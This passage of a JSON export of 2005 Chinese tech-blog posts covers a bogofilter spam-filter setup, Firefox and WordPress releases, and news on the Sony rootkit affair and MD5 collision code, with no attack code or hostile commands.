    "body": "<a href=\"http://scobleizer.wordpress.com/\" rel=\"tag\">Robert Scoble</a> 說 <a href=\"http://www.ebay.com/\" rel=\"tag\">eBay</a> 的個人商店也開始提供 RSS 了：<a href=\"http://scobleizer.wordpress.com/2005/11/08/ebay-stores-offers-rss/\">eBay stores offers RSS</a>，用 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> Preview 看了一下，不錯啊 :p",
    "title": "eBay 提供 RSS"
  },
  {
    "id": "182",
    "body": "看到 <a href=\"http://blog.dragon2.net/\" rel=\"tag\">clsung</a> 這篇 <a href=\"http://blog.dragon2.net/archives/2005/11/10/247.php\">bogofilter 亂談</a> 才發現我好像欠某長輩 <a href=\"http://bogofilter.sourceforge.net/\" rel=\"tag\">bogofilter</a> document 很久了 :p 查了一下，我是從六月中的時候開始用 <a href=\"http://bogofilter.sourceforge.net/\" rel=\"tag\">bogofilter</a>，七月中的時候把 <a href=\"http://www.kkcity.com.tw/\" rel=\"tag\">KKcity</a> 的 Mail System 也加上 <a href=\"http://bogofilter.sourceforge.net/\" rel=\"tag\">bogofilter</a> 過濾。\r\n\r\n我是裝 <a href=\"http://www.freshports.org/mail/bogofilter-qdbm\" rel=\"tag\">mail/bogofilter-qdbm</a>，因為 <a href=\"http://www.freshports.org/mail/bogofilter-sqlite\" rel=\"tag\">mail/bogofilter-sqlite</a> 只要 wordlist 超過 1xMB 就會寫不進去，不知道為什麼 :p 而且 <a href=\"http://qdbm.sourceforge.net/\" rel=\"tag\">qdbm</a> 的速度很快 (只比 <a href=\"http://cr.yp.to/cdb.html\" rel=\"tag\">cdb</a> 慢：<a href=\"http://qdbm.sourceforge.net/benchmark.pdf\" rel=\"tag\">Report of Benchmark Test</a>)，所以就用 <a href=\"http://www.freshports.org/mail/bogofilter-qdbm\" rel=\"tag\">bogofilter-qdbm</a> 吧 :p\r\n\r\n在 <code>.procmailrc</code> 裡面設定：\r\n<blockquote><code># bogofilter\r\n:0fw\r\n| /usr/local/bin/bogofilter -e -p -l</code></blockquote>\r\n<code>.muttrc</code> 裡面設定：\r\n<blockquote><code>macro index X \"&lt;pipe-entry&gt;formail -s bogofilter -s\\n&lt;delete-message&lt;\" \"mark as spam\"\r\nmacro index Z \"&lt;pipe-entry&gt;formail -s bogofilter -n\\n\" \"mark as non-spam\"</code></blockquote>\r\n配合 <a href=\"http://www.postfix.org/\" rel=\"tag\">postfix</a> 過濾時 <code>master.cf</code> 的部分內容：\r\n<blockquote><code>\r\nsmtp      inet  n       -       n       -       -       smtpd -o content_filter=bogofilter:\r\nbogofilter unix -       n       n       -       -       pipe flags=FR user=nobody:mail\r\n  argv=/usr/local/sbin/bogofilter.sh -f ${sender} -- ${recipient}</code></blockquote>\r\n其中 <code>/usr/local/sbin/bogofilter.sh</code> 是從網路上抄來的，長這樣：\r\n<blockquote><code>#!/bin/sh\r\n/bin/rm /tmp/bogofilter-now\r\necho $$ &gt; /tmp/bogofilter-now\r\nCAT=/bin/cat\r\nFILTER=/usr/local/bin/bogofilter\r\nFILTER_DIR=/var/spool/bogofilter\r\nSENDMAIL=\"/usr/sbin/sendmail -i\"\r\n# Exit codes from &lt;sysexits.h&gt;\r\nEX_TEMPFAIL=75\r\nEX_UNAVAILABLE=69\r\ncd $FILTER_DIR || { echo $FILTER_DIR does not exist; exit $EX_TEMPFAIL; }\r\n# Clean up when done or when aborting.\r\ntrap \"rm -f msg.$$\" 0 1 2 3 15\r\n# bogofilter returns: 0 for spam; 1 for non-spam; 2 for I/O or other errors.\r\n$CAT | $FILTER -d $FILTER_DIR -p -e &gt; msg.$$\r\n$SENDMAIL \"$@\" &lt; msg.$$</code></blockquote>\r\n其中 <code>/var/spool/bogofilter</code> 裡必須有 <code>wordlist.qdbm</code>。\r\n\r\n詳細的說明晚點再寫。\r\n\r\n另外提供我自己的 <code>wordlist.qdbm</code> 讓大家用好了，如果不想自己花兩三天 train 的話：<a href=\"http://files.gslin.org/bogofilter/wordlist.qdbm\">http://files.gslin.org/bogofilter/wordlist.qdbm</a>。",
    "title": "bogofilter"
  },
  {
    "id": "183",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到 <a href=\"http://www.mozilla.org/projects/firefox/\" rel=\"tag\">Firefox</a> 1.5 RC2 已經可以透過 Help 裡的 Update 取得，或是直接到 <a href=\"http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/1.5rc2/\">http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/1.5rc2/</a> 取得 binary：<a href=\"http://slashdot.org/article.pl?sid=05/11/10/2015250\">Firefox 1.5 RC2 Available</a>。",
    "title": "Mozilla Firefox 1.5 RC2"
  },
  {
    "id": "184",
    "body": "用 <a href=\"http://www.technorati.com/\" rel=\"tag\">Technorati</a> 找 ICOS，<a href=\"http://jeremy.zawodny.com/blog/\" rel=\"tag\">Jeremy Zawodny</a> 在 <a href=\"http://2005.icos.org.tw/\" rel=\"tag\">ICOS 2005</a> 上講的 <a href=\"http://highperformancemysql.com/\" rel=\"tag\">High Performance MySQL</a> 已經有人放出 mp3 可以讓人下載了：<a href=\"http://blog.kourge.net/2005-11/icos-%e7%ac%ac%e4%b8%89%e5%a4%a9%ef%bc%9ahigh-performance-mysql/\">ICOS 第三天：High Performance MySQL</a>。\r\n\r\n除了聲音有點小以外，其他的倒是還好。講的很淺，都是研究過 MySQL Performance 的人應該都知道的東西。\r\n\r\nPS：因為網站上的連結用的是相對路徑 (<code>wp-content/icos5.mp3</code>)，所以你需要自己改 url，把 hostname 到 <code>wp-content</code> 中間的 url 砍掉就可以了。\r\n\r\nPS2：我在 <a href=\"http://files.gslin.org.nyud.net:8090/ICOS/ICOS2005-JeremyZawodny-HighPerformanceMySQL-blog.kourge.net.mp3\" rel=\"tag\">這裡</a> 有 mirror 一份，26917581 bytes (約 26MB)，MD5 為 04355bd3b05b69875c75869ce6edbd69，SHA-1 為 c4eda6dc36fd341e3d458c3d333e5c0b36861813。",
    "title": "Jeremy Zawodny 的 High Performance MySQL"
  },
  {
    "id": "185",
    "body": "2005 年的年底要補一秒，以維持時間的準確，於是就會有像標題所寫的情況出現 XD\r\n\r\n這是在 <a href=\"http://digg.com/\" rel=\"tag\">digg</a> 看到的新聞：<a href=\"http://digg.com/science/2005_last_minute_to_be_of_61_seconds\">2005 last minute to be of 61 seconds</a>，原來的文章在 <a href=\"http://www.npl.co.uk/time/leap_second.html\">The Leap Second</a> 這裡。\r\n\r\n<a href=\"http://digg.com/users/mfrosty\" rel=\"tag\">Mfrosty</a> 的 comment 超好笑 XD\r\n<blockquote>10...9...8...7...6...5...4...3...2...1.....1...Happy new year!</blockquote>",
    "title": "2005 年 12 月 31 日 23:59:60"
  },
  {
    "id": "186",
    "body": "很奇怪，我在 <a href=\"http://group.nctu.edu.tw/\" rel=\"tag\">Group.NCTU.edu.tw</a> 上面寫得很清楚：\r\n<blockquote>相關的程式您可以在 <a href=\"https://opensvn.csie.org/\" rel=\"tag\">OpenSVN</a> 上的 <a href=\"https://opensvn.csie.org/traccgi/group/trac.cgi/browser/\">https://opensvn.csie.org/traccgi/group/trac.cgi/browser/</a> 取得。</blockquote>\r\n為什麼還是常常有人寫信來跟我要程式呢... 前幾次還很客氣的回信，告訴對方在 opensvn 上有，後來乾脆當作沒看到信件...\r\n\r\n我剛剛去看了一下 svn repository，除了帳號密碼沒放以外，其他的都有 commit 進去吧 (包括網頁上的 PHP)。",
    "title": "Group.NCTU.edu.tw 的程式"
  },
  {
    "id": "187",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/63037471/\"><img src=\"http://static.flickr.com/33/63037471_35c9b95093_m.jpg\" alt=\"\" style=\"float: left; margin: 0 1em 1em 0;\" /></a> 圖有點小，點進去以後還是要選 ALL SIZES 看原圖。最上面那段是這樣寫：\r\n<blockquote>If you are using Internet Explorer for Mac, we recommend that you use another browser to have an optimal experience on MSN.</blockquote>\r\n這是從 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到的新聞：<a href=\"http://digg.com/software/Microsoft_Recommends_Non-IE_Browser_\">Microsoft Recommends Non-IE Browser!</a>，相當的... :p",
    "title": "MSN 網站給 Mac 用戶的建議 - 不要用 IE"
  },
  {
    "id": "188",
    "body": "<del datetime=\"2005-11-14T09:25:04+00:00\">在首頁上沒寫</del> (首頁上有出現 :p)，不過在 <a href=\"http://tw.yahoo.com/service/\" rel=\"tag\">Yahoo!奇摩服務總覽</a> 這頁已經列出來了，應該算是公開測試了，正式的名稱叫 <a href=\"http://tw.blog.yahoo.com/\" rel=\"tag\">Yahoo!奇摩部落格</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/63149868/\"><img src=\"http://static.flickr.com/28/63149868_7aaa767f3d.jpg?v=0\" alt=\"\" /></a>\r\n\r\n簡單的摸了一下，感覺的出來功能還是很粗糙 (標題居然只能 24 個字？喂喂...)，而且速度頗慢 (不知道是主機慢還是線路慢，見後面的說明)，如果這樣下去的話大概沒什麼機會跟 <a href=\"http://www.wretch.cc/blog/\" rel=\"tag\">無名小站 Blog</a> 比 :p\r\n\r\n不過值得注意的一點是 tw.blog.yahoo.com (203.84.202.114) 不是放在 <a href=\"http://www.hinet.net/\" rel=\"tag\">HiNet</a> 機房？而且從國內幾個點 traceroute 過去全部都是走到國外再回來，透過 APNIC 查到的資料 (<a href=\"http://www.apnic.net/apnic-bin/whois.pl?search=203.84.202.114\">Query the APNIC Whois Database</a>)，以及 TWNIC 查到的資料 (<a href=\"http://rms.twnic.net.tw/twnic/User/Member/Search/main7.jsp?Order=ORG.ID\">IPv4核發分配情形</a>) 也顯示這個 IP 是 Yahoo (not Yahoo! Kimo) 直接申請的，但是還沒跟國內交換好？",
    "title": "Yahoo! Blog"
  },
  {
    "id": "189",
    "body": "在 <a href=\"http://blog.yuan.cc/ck/\" rel=\"tag\">薄荷</a> 那邊看到 <a href=\"http://blog.yuan.cc/ck/archives/2005/11/numa_numa_dance.html\">Numa Numa Dance</a> 後想要找 wmv 的版本 (或是其他品質更好的版本)，結果沒想到找到這個：<a href=\"http://en.wikipedia.org/wiki/Numa_Numa\">Numa Numa - Wikipedia, the free encyclopedia</a>。",
    "title": "Numa Numa Dance"
  },
  {
    "id": "190",
    "body": "<strong>Update 3</strong>：<a href=\"http://photomatt.net/\" rel=\"tag\">matt</a> 在 <a href=\"http://trac.wordpress.org/changeset/3089\">Changeset 3089 - Mystery of the disappearing post solved, fixes #1879</a> 修正了。\r\n\r\n<strong>Update 2</strong>：其實不是 <a href=\"http://photomatt.net/\" rel=\"tag\">matt</a> 造成的，而是 <a href=\"http://boren.nu/\" rel=\"tag\">ryan</a> commit 的 code 造成的，原因是他拿 local time 跟 GMT time 比較，造成新的文章會被認為是 \"in the future\"，而只有 login 的人才能看... 在美加地區的人大概沒感覺 (因為在格林威治西邊)，但在歐洲與亞洲地區的 beta tester 應該會有人發現問題才對？Anyway，我在 <a href=\"http://trac.wordpress.org/ticket/1879\">Ticket #1879 changeset 3001 use local time, but compare to GMT</a> 已經送出 patch 了，不知道會不會修...\r\n\r\n<strong>Update</strong>：我能看是因為我有 login (所以有送出正確的 Cookie)，而不是 Firefox 的原因...\r\n\r\n如果您看不到敝站的文章 (<del datetime=\"2005-11-14T17:36:33+00:00\">包含了 IE 與 Safari</del>)，您可以直接看首頁的文章，<del datetime=\"2005-11-14T17:36:33+00:00\">或是改用 <a href=\"http://www.mozilla.org/projects/firefox/\" rel=\"tag\">Firefox 1.5</a> 看</del>，這是因為 WordPress 1.6-ALPHA-2-still-dont-use 被改到沒有什麼人知道是什麼原因造成的，請參考 <a href=\"http://trac.wordpress.org/log/trunk/wp-settings.php\">/trunk/wp-settings.php (log) - WordPress Trac</a>，這樣您就會知道最近 <a href=\"http://photomatt.net/\" rel=\"tag\">matt</a> 改的有點亂，於是就會造成靈異現象...",
    "title": "看不到敝站的文章？"
  },
  {
    "id": "191",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">digg</a> 看到的：<a href=\"http://digg.com/linux_unix/BSD_wallpaper\">BSD wallpaper</a>。站台在 <a href=\"http://www.daemonisch.be/\">daemonisch.be - Wallpaper für FreeBSD, NetBSD &amp; OpenBSD</a> 這裡，有提供 jpeg 與 png 的桌布可以下載，<a href=\"http://www3.tw.freebsd.org/\" rel=\"tag\">FreeBSD</a> 還是以前那隻好看 :p",
    "title": "BSD 桌布"
  },
  {
    "id": "192",
    "body": "<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 也開始提供網站分析服務了：<a href=\"http://it.slashdot.org/article.pl?sid=05/11/14/0645242\">Google Launches Web Traffic Analysis Service</a>，看起來是當作整合 Adwords/Adsense 的服務之一。\r\n\r\n不過現在 <a href=\"http://www.google.com/analytics/\" rel=\"tag\">Google Analytics</a> 好慢啊，大概是開放以後湧進一堆人去申請吧？\r\n\r\n<strong>Update</strong>：<a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 這篇 <a href=\"http://blog.ijliao.info/archives/2005/11/14/1891/\">Google Analytics</a> 講到了有 <a href=\"http://boakes.org/analytics\">Google Analytics Plugin for Wordpress</a> 可以用 :p",
    "title": "Google Analytics"
  },
  {
    "id": "193",
    "body": "Update：<a href=\"http://www.sony.com/\" rel=\"tag\">Sony</a> 在 <a href=\"http://cp.sonybmg.com/xcp/english/titles.html\">CD’s Containing XCP Content Protection Technology</a> 這頁提供了有 Rootkit 的列表。\r\n\r\n<a href=\"http://www.sony.com/\" rel=\"tag\">Sony</a> 在 CD 裡面放 Rootkits 的事情在國外鬧的沸沸揚揚，有好幾個團體已經決定打官司控告 <a href=\"http://www.sony.com/\" rel=\"tag\">Sony</a>，而且也有 病毒 &amp; 木馬利用 Sony Rootkits 隱藏自己的程式，但國內除了 <a href=\"http://taiwan.cnet.com/\" rel=\"tag\">Taiwan.CNET.com</a> 一篇標題看不出嚴重性的「<a href=\"http://taiwan.cnet.com/enterprise/topic/0,2000062938,20102446,00.htm\">Sony隱藏防拷軟體遭防毒廠商鎖定</a>」，好像沒什麼人報導。\r\n\r\n如果你想知道事情的經過，<a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 這篇 <a href=\"http://www.boingboing.net/2005/11/14/sony_anticustomer_te.html\">Sony anti-customer technology roundup and time-line</a> 依照時間順序整理得相當完整。\r\n\r\n整件事情是從 <a href=\"http://en.wikipedia.org/wiki/Mark_Russinovich\" rel=\"tag\">Mark Russinovich</a> 在測試 <a href=\"http://www.sysinternals.com/utilities/rootkitrevealer.html\" rel=\"tag\">RookitRevealer</a> 時發現他的系統內有異常而開始的：<a href=\"http://www.sysinternals.com/blog/2005/10/sony-rootkits-and-digital-rights.html\">Sony, Rootkits and Digital Rights Management Gone Too Far</a>。",
    "title": "Sony Rootkits 事件"
  },
  {
    "id": "194",
    "body": "這下更爆笑了，<a href=\"http://www.sony.com/\" rel=\"tag\">Sony</a> 的 Rootkit 裡面居然用了 <a href=\"http://lame.sourceforge.net/\" rel=\"tag\">LAME</a> (一個 MP3 Encode/Decode/blah/blah2 Project) 的 code (licensed in <a href=\"http://www.gnu.org/copyleft/lesser.html\" rel=\"tag\">GNU LGPL</a>)：<a href=\"http://yro.slashdot.org/article.pl?sid=05/11/15/1250229\">Sony Rootkit Allegedly Contains LGPL Software</a>。\r\n\r\n<strong>Update</strong>：在 <a href=\"http://nanocrew.net/\" rel=\"tag\">DVD Jon 的 Blog</a> 上看到 <a href=\"http://nanocrew.net/2005/11/16/sony-drm-rootkit-saga/\">Sony DRM rootkit saga</a> 除了 LAME 以外，還發現 <a href=\"http://nanocrew.net/\" rel=\"tag\">DVD Jon</a> 寫的 <a href=\"http://trac.videolan.org/vlc/log/trunk/modules/demux/mp4/drms.c\">FairPlay code</a>。",
    "title": "Sony Rootkit Software 用了 LGPL code"
  },
  {
    "id": "195",
    "body": "<a href=\"http://blog.ijliao.info/\" rel=\"tag\">廖長輩</a> 丟 jabber 過來通知：<a href=\"http://www.engadget.com/entry/1234000110068056/\">PowerSquid lineup about to evolve</a>，去 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 查，應該就是這個了：<a href=\"http://www.amazon.com/gp/product/B000ACGE3U\">Power Sentry Power Squid / Power Multiplier / Surger Protector / Circuit Breaker</a>。\r\n\r\n來找在美國的人幫忙帶 XD",
    "title": "Power Squid"
  },
  {
    "id": "196",
    "body": "<a href=\"http://www.sony.com/\" rel=\"tag\">Sony</a> Rootkit 會去查詢 connected.sonymusic.com、updates.xcp-aurora.com、license.suncom2.com 這些 record，於是利用 non-recursive query 就可以知道某台 DNS server 是否有 client 受到感染。\r\n\r\n這個意思是說，如果我的電腦被裝了 Sony Rootkit，而且 140.113.1.1 為我設定的 DNS server，那麼你可以在 140.113.1.1 找到這三個 record。用 non-recursive query 的意思是說，叫 DNS server 只在他所負責 (authorized) 以及目前 cache 的部分找，如果沒找到不需要連出去找 (也就是 recursively query)。\r\n\r\n在 <a href=\"http://www.schneier.com/blog/\" rel=\"tag\">Bruce Schneier</a> 的 <a href=\"http://www.schneier.com/blog/archives/2005/11/still_more_on_s.html\">Still More on Sony's DRM Rootkit</a> 這篇文章裡面提到了 Kaminsky 利用 DNS non-recursively query 來估算中獎電腦的下界，結果數字大的令人驚訝，超過五十萬台 DNS server 都有：\r\n<blockquote>The results have surprised Kaminsky himself: 568,200 DNS servers knew about the Sony addresses. With no other reason for people to visit them, that points to one or more computers behind those DNS servers that are Sony-compromised. That's one in six DNS servers, across a statistical sampling of a third of the 9 million DNS servers Kaminsky estimates are on the net.</blockquote>\r\n請注意一件事情：像 168.95.1.1 這種超多人用的 DNS server 也只算到一筆，於是整個 HiNet ADSL 的用戶很大的一部份只被算到一次。也就是說，這篇文章暗示的數字其實遠超過五十萬。\r\n\r\n<strong>Update</strong>：<a href=\"http://www.boingboing.net/2005/11/15/latest_sony_news_100.html\">Boing Boing 這篇 Latest Sony news: 100% of CDs with rootkits, mainstream condemnation, retailers angry</a> 指出了在事發之前，有人透過 <a href=\"http://www.sony.com/\" rel=\"tag\">Sony</a> 網頁上的 feedback form 詢問有哪些 CD 是有保護機制，結果 <a href=\"http://www.sony.com/\" rel=\"tag\">Sony</a> 回答：\r\n<blockquote>By the end of fiscal 2005, 100% of Sony BMG titles released will contain this content protection technology. Please assume every one of our CDs are protected in this fashion.</blockquote>\r\n這就可以解釋為什麼中獎的人這麼多了。",
    "title": "Sony Rootkit 感染人數"
  },
  {
    "id": "197",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到的新聞，有人將王小雲女士的 paper 實做出來，包括 MD4 &amp; MD5 Collision 的 C source code：<a href=\"http://it.slashdot.org/article.pl?sid=05/11/15/2037232\">MD5 Collision Source Code Released</a>。\r\n\r\n而且速度遠超過王小雲女士當初所發表的時間：作者說他在 Pentium 4 1.6Ghz 的機器上攻擊 MD4 是瞬解，而 MD5 也只需要 45 mins。",
    "title": "MD4 與 MD5 Collision 的 Source Code"
  },
  {
    "id": "198",
    "body": "被發現 Rootkit 後，Sony 在他們的網頁上提供了移除的功能 (以 IE 的 ActiveX 提供)，但是這個 ActiveX 會造成系統安全漏洞：\r\n<ul>\r\n\t<li><a href=\"http://www.boingboing.net/2005/11/13/sonys_malware_uninst.html\">Sony's malware uninstaller leaves your computer vulnerable</a></li>\r\n\t<li><a href=\"http://www.freedom-to-tinker.com/?p=927\">Sony’s Web-Based Uninstaller Opens a Big Security Hole; Sony to Recall Discs</a></li>\r\n</ul>\r\n愈補愈大洞啊 :p",
    "title": "Sony 的移除程式有安全上的問題"
  },
  {
    "id": "199",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上面看到的：<a href=\"http://digg.com/technology/Digg_Just_Might_Bury_Slashdot\">Wired Magazine: 'Digg Just Might Bury Slashdot'</a>。\r\n\r\n<a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 與 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 最大的不同點在於文章產生的過程：<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 是透過人工審核的，而 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 則是透過評分系統 (在 <a href=\"http://www.digg.com/diggall\">http://www.digg.com/diggall</a> 會有所有的文章)，當夠多人 digg 後，就會自動上到主頁)。對於一個新聞網站來說，而這可以避免某些主觀想法所造成的問題。\r\n\r\n另外 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 的版面設計也遠遠比 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 簡潔，尤其是 comments 的部分 :)\r\n\r\n其實我們現在可以猜測 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 會在半年內幹掉 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> :) 兩者的差異可以在 <a href=\"http://www.alexa.com/\" rel=\"tag\">Alexa</a> 的比較圖看出來：<a href=\"http://www.alexa.com/data/details/traffic_details?&range=2y&size=large&compare_sites=slashdot.org&y=t&url=digg.com#top\">Related Info for: digg.com/</a>。\r\n\r\n<strong>Update</strong>：在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上面也刊出了這篇文章：<a href=\"http://slashdot.org/article.pl?sid=05/11/17/1439224\">The Rise of Digg.com</a>。",
    "title": "Slashdot 與 Digg 的比較"
  },
  {
    "id": "200",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 Flash 版的 VNC Client：<a href=\"http://digg.com/software/FlashVNC_Released\">FlashVNC Released</a>，原始作者發佈的網頁在 <a href=\"http://www.darronschall.com/weblog/archives/000192.cfm\">FlashVNC Released</a> 這裡。\r\n\r\n依照作者的說法，由於安全性問題，你必須先下載 .swf，然後再拖進 IE 或 <a href=\"http://www.mozilla.org/projects/firefox/\" rel=\"tag\">Firefox 1.5 RC2</a> 裡面 (要以 file:/// 的形式出現)，不過我在這兩個 browser 上都不能跑，不知道是什麼問題？",
    "title": "FlashVNC"
  },
  {
    "id": "201",
    "body": "<a href=\"http://www.mozilla.org/projects/firefox/\" rel=\"tag\">Firefix 1.5 RC3</a> 已經放出來了，用 RC2 的人只要選更新就可以抓到了 :)\r\n\r\n正式的說明在 <a href=\"http://www.mozilla.org/products/firefox/releases/1.5.html\">What's New in Firefox 1.5 RC 3</a> 與 <a href=\"http://developer.mozilla.org/devnews/index.php/2005/11/17/15rc3-available/\">1.5RC3 Available</a> 寫的很清楚了，另外 <a href=\"http://www.mozillazine.org/\" rel=\"tag\">mozillaZine</a> 當然也提到了這件事情：<a href=\"http://www.mozillazine.org/talkback.html?article=7704\">Mozilla Firefox 1.5 Release Candidate 3 Available</a>。",
    "title": "Firefox 1.5 RC3"
  },
  {
    "id": "202",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 看到的：<a href=\"http://www.boingboing.net/2005/11/17/amazon_offers_refund.html\">Amazon offers refunds for all Sony rootkit CDs</a>。\r\n\r\n<a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 不僅將 Sony Rootkit CD 下架，還將 <strong>主動</strong> 聯絡有購買 Sony Rootkit CD 的客戶，不論包裝是否已經拆開，他們都願意退還所有費用！(好吧，寄回去的運費好像不算在內)\r\n\r\n你可以在 <a href=\"http://craphound.com/amznxmpsonycd.txt\">http://craphound.com/amznxmpsonycd.txt</a> 看到 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 的通知信。\r\n\r\n<strong>Update</strong>：<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 也報導了這件事情：<a href=\"http://yro.slashdot.org/article.pl?sid=05/11/18/2010224\">Sony, Amazon Detail Rootkit CD Buybacks</a>。\r\n\r\nUpdate：please 提供資訊說 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 的退貨服務可以透過網站上面列印出一張貼紙，由 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 自己吸收 :p",
    "title": "Amazon 接受 Sony Rootkit CD 退貨"
  },
  {
    "id": "203",
    "body": "來一張目前 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> r3150 管理介面的 screenshot 給大家看：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/64458566/\"><img src=\"http://static.flickr.com/25/64458566_d2ed4237b0.jpg?v=0\" alt=\"\" /></a>\r\n\r\n畫面愈來愈美觀，功能也愈來愈完整了...",
    "title": "WordPress r3150 Screenshot"
  },
  {
    "id": "204",
    "body": "<a href=\"http://photomatt.net/\" rel=\"tag\">Matt</a> 提到了 <a href=\"http://wordpress.feedster.com/\" rel=\"tag\">wordPress.feedster.com</a>，搜尋所有以 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 架設的 Blog 文章：<a href=\"http://photomatt.net/2005/11/18/wordpressfeedster/\">WordPress.Feedster</a>。\r\n\r\n不過預設好像是只搜尋 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 的文章，當搜尋後會出現 \"weblog_domain=wordpress.com\"，拿掉以後就是搜尋所有 WordPress site 的文章了...\r\n\r\n如果直接用 \"<a href=\"http://wordpress.feedster.com/search.php?q=weblog_domain%3Dblog.gslin.org&sort=date\">weblog_domain=blog.gslin.org</a>\" 就可以看到目前 Feedster 裡有存了哪些文章？不過下一頁 (Next) 的功能好像有點問題...",
    "title": "WordPress.Feedster"
  },
  {
    "id": "206",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 Richard Stallman 堅持自己的想法跟 UN Security 對峙：<a href=\"http://slashdot.org/article.pl?sid=05/11/19/149242\">Richard Stallman Accosted For Tinfoil Hat</a>。\r\n\r\n原文是 <a href=\"http://perens.sourcelabs.com/\">Friday, November 18: Richard Stallman Gets in Trouble with UN Security for Wearing a Tin-Foil Hat</a> 這篇。\r\n\r\n呃，這些保全人員知道他們在對付誰嗎 o_O",
    "title": "Richard Stallman 與 UN Security"
  },
  {
    "id": "207",
    "body": "<a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 看到的神秘新聞，<a href=\"http://www.sony.com/\" rel=\"tag\">Sony</a> 除了願意提供 Spyware-free CD 以外，也提供了 MP3：<a href=\"http://www.boingboing.net/2005/11/19/sony_offers_mp3s_in_.html\">Sony offers MP3s in replacement for rootkit CDs</a>。\r\n\r\n<a href=\"http://www.sony.com/\" rel=\"tag\">Sony</a> 願意提供 MP3？現在是十一月不是四月沒錯吧，而且太陽還是從東邊出來... 現在是什麼情況 o_O",
    "title": "Sony 更進一步的動作"
  },
  {
    "id": "208",
    "body": "雖然早就知道 tagname 改成 2.0 Beta 1 了，不過剛剛在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上面也看到消息了：<a href=\"http://digg.com/software/Wordpress_2.0_Beta_1_Released\">Wordpress 2.0 Beta 1 Released</a>。在 <a href=\"http://trac.wordpress.org/\" rel=\"tag\">trac</a> 上面的 <a href=\"http://trac.wordpress.org/changeset/3160\">Changeset 3160</a> 可以看到這項紀錄。\r\n\r\n先警告所有想從 1.5 升級上來的人，目前 2.0 Beta 1 仍然是不良品，除非你有打算在出事的時候跟他耗 (尤其是 <a href=\"http://www.dreamhost.com/r.cgi?gslinn\" rel=\"tag\">DreamHost</a> 的 <a href=\"http://php.nctu.edu.tw/\" rel=\"tag\">php</a> 是 cgi mode，造成 <code>$_SERVER</code> 裡一堆變數不一樣)，不然我建議您還是別亂來 :p 在 <a href=\"http://wordpress.org/support/\" rel=\"tag\">WordPress Support</a> 上的 <a href=\"http://wordpress.org/support/topic/49790\">WP Beta-1 released</a> 也可以看到不少人發生問題 :p\r\n\r\n如果您真的想玩看看，祝您升級順利 :p 有事情不要找我，請到 <a href=\"http://trac.wordpress.org/\" rel=\"tag\">trac.wordpress.org</a> 上面送 ticket 處理，謝謝 :p",
    "title": "WordPress 2.0 Beta 1"
  },
  {
    "id": "209",
    "body": "WordPress 2.0 Beta 1 引入了 <a href=\"http://akismet.com/\" rel=\"tag\">Akismet</a>，一個 Antispam Service，這個 Service 需要一個 WordPress.com API key，我剛好有，所以我就裝起來測試看看。不過，即使測試了以後發現效果很好，我還是會換回 <a href=\"http://unknowngenius.com/blog/wordpress/spam-karma/\" rel=\"tag\">Spam Karma 2</a>。\r\n\r\n主要的原因在於 <a href=\"http://akismet.com/\" rel=\"tag\">Akismet</a> 送出太多資訊了，<code>$_SERVER</code> 所有的東西都會送出去，這包括了 Cookie (<a href=\"http://incoherentbabble.com/2005/11/20/exactly-what-data-are-you-sending-to-akismet/\">Exactly What Data Are You Sending to Akismet?</a>)。當然也就有人跑去 <a href=\"http://wordpress.org/support/\" rel=\"tag\">WordPress Support</a> 上質疑 (<a href=\"http://www.village-idiot.org/archives/2005/11/20/askimet-wordpress-and-cookies/\">askimet, wordpress, and cookies</a>)。\r\n\r\n另外要補充的一點是，<a href=\"http://akismet.com/\" rel=\"tag\">Akismet</a> 是封閉式架構，你不知道這個黑盒子裡面到底再跑什麼... 即使再有效，我也不會想用，如同 <a href=\"http://nopam.ccu.edu.tw/\" rel=\"tag\">Nopam</a> 一樣。\r\n\r\n<strong>Update</strong>：鳥蛋一個，所有的 ping 與 trackback 都被 block，換回 <a href=\"http://unknowngenius.com/blog/wordpress/spam-karma/\" rel=\"tag\">Spam Karma</a>。",
    "title": "WordPress 2.0 Beta 1 - Akismet"
  },
  {
    "id": "210",
